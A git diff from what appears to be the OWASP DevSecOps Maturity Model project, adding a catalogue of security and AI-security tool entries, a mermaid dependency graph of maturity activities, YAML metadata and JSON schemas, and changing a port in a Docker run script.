+ MITRE ATLAS. + tm-skills: + uuid: ec8c0aa5-e308-4d86-88ec-987537b7689a + name: tm_skills + tags: [ai, threat, tool] + url: https://github.com/izar/tm_skills + description: |- + Open-source (MIT) collection of agent skills for continuous threat + modeling by Izar Tarandach, maintainer of pytm: the skills let AI + coding agents such as Claude Code generate pytm-based threat models + with data flow diagrams from a codebase, evaluate user stories for + security-notable events and suggest mitigations, and provide rapid + security starting points for new systems or features. + anthropic-zero-trust-agents: + uuid: 7c0749f8-080d-46cf-a8bb-4c2f8a2c25f2 + name: Zero Trust for AI Agents + tags: [ai, documentation] + url: https://claude.com/blog/zero-trust-for-ai-agents + description: |- + Free eBook by Anthropic applying Zero Trust principles (never trust, + always verify; assume breach; least privilege and least agency) to + agentic AI deployments: current threats to agentic systems, three + capability tiers for agent identity, access control, observability, + behavioral monitoring, input and output controls and recovery, an + eight-phase implementation workflow and defensive operations at the + speed of autonomous threats. Introduces the design test "does this + control make the attack impossible, or just tedious?". + visa-vvah: + uuid: 3466f3e2-7185-4e97-8799-314a9267f010 + name: Visa Vulnerability Agentic Harness (VVAH) + tags: [ai, testing, sast] + url: https://github.com/visa/visa-vulnerability-agentic-harness + description: |- + Agentic static application security testing (SAST) pipeline that uses + frontier AI models for autonomous vulnerability discovery, remediation + and validation: threat modeling before analysis, multi-lens deep dives + with adversarial verification and multi-agent voting against false + positives, followed by proposed and validated fixes. + xbow: + uuid: e4c5a35b-532f-42b3-971a-7132f196fb78 + name: XBOW + tags: [ai, testing, dast, commercial] + url: https://xbow.com/ + description: |- + Commercial agentic penetration testing platform: AI agents explore a + running application autonomously, chain findings into attack paths and + validate exploitability before reporting. + pentestgpt: + uuid: cf897b24-b4d9-418f-a9b0-e110c52cf75e + name: PentestGPT + tags: [ai, testing, dast] + url: https://github.com/GreyDGL/PentestGPT + description: |- + Open-source large language model (LLM) assistant for penetration + testing that guides a human tester interactively through an + engagement: it keeps track of the test state, suggests next steps and + helps interpret tool output. + secure-rules-files: + uuid: 1e2ce094-e358-47a4-a469-11e0dd8bef26 + name: Wiz Secure Rules Files + tags: [ai, guidance, documentation] + url: https://github.com/wiz-sec-public/secure-rules-files + description: |- + Curated secure-coding rules files for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude Code) per language, maintained by Wiz Research. + openssf-scorecard: + uuid: 4a5296a6-4d8f-4b97-902b-f04722438a66 + name: OpenSSF Scorecard + tags: [supply-chain, sca, tool] + url: https://github.com/ossf/scorecard + description: |- + Automated rating of open source projects on supply chain security + practices (maintenance, code review, branch protection, dangerous + workflows, vulnerability handling). Usable as a policy gate: require a + minimum score before a new dependency may be adopted. + openssf-malicious-packages: + uuid: 70da74e9-806d-4db4-b3a7-9c5717060ed8 + name: OpenSSF Malicious Packages + tags: [supply-chain, sca, documentation] + url: https://github.com/ossf/malicious-packages + description: |- + Open database of reported malicious and compromised open source + packages in OSV format. Usable as a blocklist feed for artifact + repositories and dependency scanners. + sonatype-repository-firewall: + uuid: e511975e-cad2-45e7-9b1e-9441da889407 + name: Sonatype Repository Firewall + tags: [supply-chain, sca, commercial] + url: https://www.sonatype.com/products/sonatype-repository-firewall + description: |- + Policy engine in front of an artifact repository that quarantines + known-malicious, compromised and suspicious package versions before + they enter the internal repository. + ave-registry: + uuid: cfa3a117-76ec-4265-89e3-794b980854fe + name: "AVE: Behavioral classification registry" + tags: [ai, supply-chain, inventory] + url: https://ave.bawbel.io/ + description: |- + Agentic Vulnerability Enumeration (AVE), a behavioral classification + registry for agentic AI components: stable identifiers, AIVSS scores + and behavioral fingerprints for skill files, MCP servers and agent + plugins, mapped to OWASP and MITRE ATLAS. + dompurify: + uuid: beeac1bd-49dd-43c8-b606-cdb9fa9cf5bc + name: DOMPurify + tags: [xss, sanitizer, library] + url: https://github.com/cure53/DOMPurify + description: |- + Allow-list based HTML sanitizer for the browser. Used to sanitize + rendered markdown (e.g. LLM responses in chat UIs) before insertion + into the DOM. + promptfoo: + uuid: c323c3c8-cc9c-4620-9ea7-dbc69c3112ca + name: promptfoo + tags: [ai, red-teaming, testing] + url: https://github.com/promptfoo/promptfoo + description: |- + Test framework for LLM applications with automated red teaming + (prompt injection, jailbreaks, PII leakage) and CI integration for + regression testing of prompts, models and guardrails. diff --git a/src/assets/YAML/generated/dependency-tree.md b/src/assets/YAML/generated/dependency-tree.md new file mode 100644 index 0000000..787c623 --- /dev/null +++ b/src/assets/YAML/generated/dependency-tree.md @@ -0,0 +1,267 @@ +```mermaid + +graph LR + +0(L2 Pinning of artifacts) +1(L1 Defined build process) +2(L2 SBOM of components) +3(L5 Signing of artifacts) +4(L3 Signing of code) +5(L5 Blue/Green Deployment) +6(L4 Smoke Test) +7(L1 Defined deployment process) +8(L3 Handover of confidential parameters) +9(L2 Environment depending configuration parameters secrets) +10(L2 Inventory of production artifacts) +11(L1 Inventory of production components) +12(L3 Inventory of production dependencies) +13(L3 Rolling update on deployment) +14(L4 Same artifact for environments) +15(L4 Usage of feature toggles) +16(L3 Automated deployment of automated PRs) +17(L2 Automated merge of automated PRs) +18(L1 Automated PRs for patches) +19(L4 Conduction of advanced threat modeling) +20(L1 Conduction of simple threat modeling on technical level) +21(L3 Creation of threat modeling processes and standards) +22(L5 Creation of advanced abuse stories) +23(L3 Creation of simple abuse stories) +24(L2 Regular security training of security champions) +25(L2 Each team has a security champion) +26(L2 Determining the protection requirement) +27(L2 App. Hardening Level 1) +28(L1 App. Hardening Level 1 50%) +29(L4 App. Hardening Level 2) +30(L3 App. Hardening Level 2 75%) +31(L5 App. Hardening Level 3) +32(L3 Block force pushes) +33(L2 Require a PR before merging) +34(L3 Dismiss stale PR approvals) +35(L3 Require status checks to pass) +36(L1 Versioning) +37(L2 Backup) +38(L3 Immutable infrastructure) +39(L3 Infrastructure as Code) +40(L3 Limitation of system events) +41(L3 Audit of system events) +42(L2 MFA) +43(L1 MFA for admins) +44(L4 Production near environments are used by developers) +45(L3 Role based authentication and authorization) +46(L1 Simple access control for systems) +47(L3 Usage of security by default for components) +48(L2 Usage of test and production environments) +49(L2 Virtual environments are limited) +50(L2 Applications are running in virtualized environments) +51(L5 WAF Advanced) +52(L4 WAF medium) +53(L3 WAF baseline) +54(L1 Context-aware output encoding) +55(L2 Centralized application logging) +56(L2 Alerting) +57(L5 Correlation of security events) +58(L3 Visualized logging) +59(L1 Centralized system logging) +60(L4 Advanced app. metrics) +61(L1 Simple application metrics) +62(L2 Visualized metrics) +63(L3 Advanced availability and stability metrics) +64(L4 Coverage and control metrics) +65(L3 Deactivation of unused metrics) +66(L4 Defense metrics) +67(L3 Filter outgoing traffic) +68(L5 Metrics are combined with tests) +69(L3 Grouping of metrics) +70(L2 Monitoring of costs) +71(L1 Simple system metrics) +72(L4 Screens with metric visualization) +73(L3 Targeted alerting) +74(L3 Generation of response statistics) +75(L3 Usage of a vulnerability management system) +76(L2 Patching mean time to resolution via PR) +77(L4 Patching mean time to resolution via production) +78(L2 Artifact-based false positive treatment) +79(L1 Simple false positive treatment) +80(L3 Fix based on accessibility) +81(L1 Treatment of defects with severity high or higher) +82(L3 Global false positive treatment) +83(L3 Exploit likelihood estimation) +84(L3 Office Hours) +85(L2 Coverage of client side dynamic components) +86(L2 Usage of different roles) +87(L3 Coverage of hidden endpoints) +88(L3 Coverage of more input vectors) +89(L3 Coverage of sequential operations) +90(L5 Coverage of service to service communication) +91(L2 Simple Scan) +92(L4 Usage of multiple scanners) +93(L2 Test for exposed services) +94(L2 Isolated networks for virtual environments) +95(L3 Test for unauthorized installation) +96(L2 Evaluation of the trust of used components) +97(L2 Test network segmentation) +98(L3 API design validation) +99(L5 Dead code elimination) +100(L5 Exclusion of source code duplicates) +101(L2 Software Composition Analysis server side) +102(L3 Software Composition Analysis client side) +103(L5 Static analysis for all components/libraries) +104(L3 Static analysis for important client side components) +105(L3 Static analysis for important server side components) +106(L4 Static analysis for all self written components) +107(L3 Test for Patch Deployment Time) +108(L2 Test for Time to Patch) +109(L2 Test libyear) +110(L4 Usage of multiple analyzers) +111(L4 Correlate known vulnerabilities in infrastructure with new image versions) +112(L2 Usage of a maximum lifetime for images) +113(L4 Test of infrastructure components for known vulnerabilities) + + +1 --> 0 +1 --> 2 +1 --> 3 +1 --> 4 +1 --> 7 +1 --> 14 +1 --> 45 +1 --> 47 +1 --> 91 +1 --> 99 +1 --> 100 +1 --> 102 +1 --> 101 +1 --> 104 +1 --> 105 +1 --> 107 +1 --> 109 +0 --> 3 +6 --> 5 +9 --> 8 +7 --> 10 +7 --> 11 +7 --> 13 +7 --> 36 +7 --> 37 +7 --> 44 +7 --> 45 +7 --> 46 +7 --> 48 +7 --> 6 +11 --> 10 +11 --> 26 +11 --> 80 +11 --> 98 +11 --> 102 +11 --> 101 +11 --> 103 +11 --> 106 +11 --> 104 +11 --> 105 +10 --> 12 +2 --> 12 +14 --> 15 +17 --> 16 +18 --> 17 +18 --> 76 +18 --> 77 +18 --> 107 +18 --> 108 +20 --> 19 +20 --> 23 +20 --> 21 +21 --> 19 +21 --> 23 +23 --> 22 +25 --> 24 +25 --> 75 +28 --> 27 +30 --> 29 +27 --> 30 +29 --> 31 +33 --> 32 +33 --> 34 +33 --> 35 +39 --> 38 +39 --> 44 +41 --> 40 +43 --> 42 +50 --> 49 +52 --> 51 +54 --> 53 +53 --> 52 +56 --> 55 +56 --> 57 +56 --> 73 +58 --> 57 +59 --> 58 +55 --> 58 +61 --> 60 +61 --> 63 +61 --> 70 +61 --> 62 +62 --> 60 +62 --> 63 +62 --> 56 +62 --> 41 +62 --> 64 +62 --> 65 +62 --> 66 +67 --> 66 +69 --> 68 +69 --> 72 +71 --> 70 +71 --> 62 +75 --> 74 +75 --> 82 +76 --> 77 +79 --> 78 +81 --> 80 +78 --> 82 +83 --> 75 +83 --> 102 +84 --> 75 +86 --> 85 +86 --> 87 +86 --> 88 +86 --> 89 +86 --> 92 +91 --> 90 +91 --> 86 +94 --> 93 +94 --> 97 +96 --> 95 +101 --> 83 +101 --> 110 +104 --> 103 +104 --> 106 +105 --> 103 +105 --> 106 +102 --> 110 +106 --> 110 +112 --> 111 +112 --> 113 + +O --> 1 +O --> 9 +O --> 18 +O --> 20 +O --> 25 +O --> 28 +O --> 33 +O --> 39 +O --> 43 +O --> 50 +O --> 54 +O --> 59 +O --> 61 +O --> 67 +O --> 69 +O --> 71 +O --> 79 +O --> 81 +O --> 84 +O --> 94 +O --> 96 +O --> 112 +``` diff --git a/src/assets/YAML/meta.yaml b/src/assets/YAML/meta.yaml new file mode 100644 index 0000000..e1b1b7e --- /dev/null +++ b/src/assets/YAML/meta.yaml @@ -0,0 +1,47 @@ +--- +# +# Various strings and messages +# +strings: + en: &en + references: + samm2: + label: OWASP SAMM VERSION 2 + description: |- + Software Assurance Maturity Model + The Software Assurance Maturity Model (SAMM) is an open framework to help organizations formulate + and implement a strategy for software security that is tailored + to the specific risks facing the organization. + https://owaspsamm.org/blog/2020/01/31/samm2-release/ + iso27001-2017: + label: ISO 27001:2017 + description: |- + ISO 27001:2017 + iso27001-2022: + label: ISO 27001:2022 + description: |- + ISO 27001:2022 + labels: ['Very Low', 'Low', 'Medium', 'High', 'Very High'] + KnowledgeLabels: + [ + 'Very Low (one discipline)', + 'Low (one discipline)', + 'Medium (two disciplines)', + 'High (two disciplines)', + 'Very High (three or more disciplines)', + ] + hardness: ['Very soft', 'Soft', 'Medium', 'High', 'Very high'] + maturity_levels: + [ + 'Level 1: Basic understanding of security practices', + 'Level 2: Adoption of basic security practices', + 'Level 3: High adoption of security practices', + 'Level 4: Very high adoption of security practices', + 'Level 5: Advanced deployment of security practices at scale', + ] +# Default team +teams: ['Default', 'B', 'C'] +teamGroups: + GroupA: ['Default', 'B'] + GroupB: ['B', 'C'] + GroupC: ['Default', 'C'] diff --git a/src/assets/YAML/schemas/dsomm-schema-ai.json b/src/assets/YAML/schemas/dsomm-schema-ai.json new file mode 100644 index 0000000..cf5c242 --- /dev/null +++ b/src/assets/YAML/schemas/dsomm-schema-ai.json @@ -0,0 +1,158 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "title": "Schema for DSOMM Dimension AI", + "type": "object", + "properties": { + "AI": { + "type": "object", + "patternProperties": { + "^.*$": { + "type": "object", + "patternProperties": { + "^.*$": { + "type": "object", + "properties": { + "uuid": { + "type": "string", + "format": "uuid" + }, + "description": { + "type": "string" + }, + "risk": { + "type": "string" + }, + "measure": { + "type": "string" + }, + "difficultyOfImplementation": { + "type": "object", + "properties": { + "knowledge": { + "type": "number" + }, + "time": { + "type": "number" + }, + "resources": { + "type": "number" + } + }, + "required": [ + "knowledge", + "time", + "resources" + ] + }, + "usefulness": { + "type": "number" + }, + "level": { + "type": "number" + }, + "assessment": { + "type": "string" + }, + "implementation": { + "type": "array", + "items": { + "type": "object", + "properties": { + "$ref": { + "type": "string", + "format": "uri-reference" + } + }, + "required": [ + "$ref" + ], + "additionalProperties": false + } + }, + "dependsOn": { + "type": "array", + "items": { + "type": "string" + } + }, + "references": { + "type": "object", + "properties": { + "samm2": { + "type": "array", + "items": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "number" + } + ] + } + }, + "iso27001-2017": { + "type": "array", + "items": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "number" + } + ] + } + }, + "iso27001-2022": { + "type": "array", + "items": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "number" + } + ] + } + } + }, + "required": [ + "samm2", + "iso27001-2017", + "iso27001-2022" + ] + }, + "comments": { + "type": "string" + }, + "tags": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "required": [ + "uuid", + "description", + "risk", + "measure", + "difficultyOfImplementation", + "usefulness", + "level", + "implementation", + "references" + ], + "additionalProperties": false + } + } + } + } + } + }, + "required": [ + "AI" + ] +} \ No newline at end of file diff --git a/src/assets/YAML/schemas/dsomm-schema-build-and-deployment.json b/src/assets/YAML/schemas/dsomm-schema-build-and-deployment.json index 046ee35..fe44d44 100644 --- a/src/assets/YAML/schemas/dsomm-schema-build-and-deployment.json +++ b/src/assets/YAML/schemas/dsomm-schema-build-and-deployment.json @@ -25,17 +25,6 @@ "measure": { "type": "string" }, - "meta": { - "type": "object", - "properties": { - "implementationGuide": { - "type": "string" - } - }, - "required": [ - "implementationGuide" - ] - }, "difficultyOfImplementation": { "type": "object", "properties": { @@ -135,12 +124,6 @@ "iso27001-2022" ] }, - "isImplemented": { - "type": "boolean" - }, - "evidence": { - "type": "string" - }, "comments": { "type": "string" } @@ -155,8 +138,6 @@ "level", "implementation", "references", - "isImplemented", - "evidence", "comments" ], "additionalProperties": false diff --git a/src/assets/YAML/schemas/dsomm-schema-culture-and-organization.json b/src/assets/YAML/schemas/dsomm-schema-culture-and-organization.json index f3dd8b0..04673ae 100644 --- a/src/assets/YAML/schemas/dsomm-schema-culture-and-organization.json +++ b/src/assets/YAML/schemas/dsomm-schema-culture-and-organization.json @@ -25,17 +25,6 @@ "measure": { "type": "string" }, - "meta": { - "type": "object", - "properties": { - "implementationGuide": { - "type": "string" - } - }, - "required": [ - "implementationGuide" - ] - }, "difficultyOfImplementation": { "type": "object", "properties": { @@ -135,12 +124,6 @@ "iso27001-2022" ] }, - "isImplemented": { - "type": "boolean" - }, - "evidence": { - "type": "string" - }, "comments": { "type": "string" } @@ -155,8 +138,6 @@ "level", "implementation", "references", - "isImplemented", - "evidence", "comments" ], "additionalProperties": false diff --git a/src/assets/YAML/schemas/dsomm-schema-implementation.json b/src/assets/YAML/schemas/dsomm-schema-implementation.json index b842e16..f410de6 100644 --- a/src/assets/YAML/schemas/dsomm-schema-implementation.json +++ b/src/assets/YAML/schemas/dsomm-schema-implementation.json @@ -25,17 +25,6 @@ "measure": { "type": "string" }, - "meta": { - "type": "object", - "properties": { - "implementationGuide": { - "type": "string" - } - }, - "required": [ - "implementationGuide" - ] - }, "difficultyOfImplementation": { "type": "object", "properties": { diff --git a/src/assets/YAML/schemas/dsomm-schema-information-gathering.json b/src/assets/YAML/schemas/dsomm-schema-information-gathering.json index ff616ec..ef110bf 100644 --- a/src/assets/YAML/schemas/dsomm-schema-information-gathering.json +++ b/src/assets/YAML/schemas/dsomm-schema-information-gathering.json @@ -25,17 +25,6 @@ "measure": { "type": "string" }, - "meta": { - "type": "object", - "properties": { - "implementationGuide": { - "type": "string" - } - }, - "required": [ - "implementationGuide" - ] - }, "difficultyOfImplementation": { "type": "object", "properties": { @@ -135,12 +124,6 @@ "iso27001-2022" ] }, - "isImplemented": { - "type": "boolean" - }, - "evidence": { - "type": "string" - }, "comments": { "type": "string" } @@ -155,8 +138,6 @@ "level", "implementation", "references", - "isImplemented", - "evidence", "comments" ], "additionalProperties": false diff --git a/src/assets/YAML/schemas/dsomm-schema-test-and-verification.json b/src/assets/YAML/schemas/dsomm-schema-test-and-verification.json index 2a619bc..d87cd71 100644 --- a/src/assets/YAML/schemas/dsomm-schema-test-and-verification.json +++ b/src/assets/YAML/schemas/dsomm-schema-test-and-verification.json @@ -25,17 +25,6 @@ "measure": { "type": "string" }, - "meta": { - "type": "object", - "properties": { - "implementationGuide": { - "type": "string" - } - }, - "required": [ - "implementationGuide" - ] - }, "difficultyOfImplementation": { "type": "object", "properties": { @@ -135,12 +124,6 @@ "iso27001-2022" ] }, - "isImplemented": { - "type": "boolean" - }, - "evidence": { - "type": "string" - }, "comments": { "type": "string" } @@ -166,4 +149,4 @@ "required": [ "Test and Verification" ] -} +} \ No newline at end of file diff --git a/src/assets/YAML/teams.yaml b/src/assets/YAML/teams.yaml new file mode 100644 index 0000000..cbdecfa --- /dev/null +++ b/src/assets/YAML/teams.yaml @@ -0,0 +1,9 @@ +--- +# +# Teams +# +teams: ['A', 'B', 'C'] +teamGroups: + AB: ['A', 'B'] + BC: ['B', 'C'] + AC: ['A', 'C'] diff --git a/yaml-generation/generateDimensions.bash b/yaml-generation/generateDimensions.bash index 4d19d13..13819c2 100755 --- a/yaml-generation/generateDimensions.bash +++ b/yaml-generation/generateDimensions.bash @@ -17,7 +17,7 @@ MSYS_NO_PATHCONV=1 $DOCKER_CMD run -ti --rm --volume "${PWD}:/app" wurstbrot/dso if [ "$1" = "--start-dsomm" ]; then echo "Starting local DSOMM application..." - MSYS_NO_PATHCONV=1 $DOCKER_CMD run -ti --rm --volume "${PWD}/generated/model.yaml:/srv/assets/YAML/default/model.yaml" -p 8080:8080 wurstbrot/dsomm + MSYS_NO_PATHCONV=1 $DOCKER_CMD run -ti --rm --volume "${PWD}/generated/model.yaml:/srv/assets/YAML/default/model.yaml" -p 8081:8080 wurstbrot/dsomm elif [ "$1" = "--test-urls" ]; then echo "Test URLs in implementations.yaml..."